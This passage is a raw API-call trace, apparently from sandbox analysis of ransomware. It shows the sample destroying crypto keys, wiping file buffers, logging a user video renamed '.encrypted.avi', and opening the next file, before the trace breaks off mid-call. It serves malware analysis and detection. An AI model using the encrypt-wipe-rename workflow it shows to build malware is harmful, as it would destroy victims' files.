lpMsg=0xe8f3dfe120) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.245] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.246] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.246] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.250] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.250] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.250] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.252] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.252] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.252] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.252] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.252] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.252] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.252] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.252] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0029.252] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.252] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.252] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.252] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.252] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.253] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.253] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.253] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.253] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.253] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.253] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.253] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.254] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.256] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.256] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.259] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.259] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.259] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.259] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.259] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.259] CharLowerBuffW (in: lpsz="byte[91522]", cchLength=0xb | out: lpsz="byte[91522]") returned 0xb [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.261] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.261] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.261] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.261] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.262] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.262] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.262] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.262] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.263] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.263] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.264] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.264] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.264] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.264] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.264] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.264] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.264] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10568) returned 1 [0029.264] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.264] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.264] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.264] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2948, lpOverlapped=0x0) returned 1 [0029.264] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.264] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2948, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.264] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10568) returned 1 [0029.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\5mfnMe-Mnn6PEK0.encrypted.avi\r\n", cchWideChar=103, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 103 [0029.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\5mfnMe-Mnn6PEK0.encrypted.avi\r\n", cchWideChar=103, lpMultiByteStr=0xe8f4062aa0, cbMultiByte=103, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\5mfnMe-Mnn6PEK0.encrypted.avi\r\n", lpUsedDefaultChar=0x0) returned 103 [0029.264] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4065ff0*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4065ff0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x66, lpOverlapped=0x0) returned 1 [0029.265] CloseHandle (hObject=0x1fc) returned 1 [0029.265] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.265] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.266] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.266] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.266] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.266] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.266] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.267] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.267] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.267] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.268] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.avi", cchWideChar=94, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 94 [0029.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.avi", cchWideChar=94, lpMultiByteStr=0xe8f4062330, cbMultiByte=94, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.avi", lpUsedDefaultChar=0x0) returned 94 [0029.268] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.avi" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\e86sw 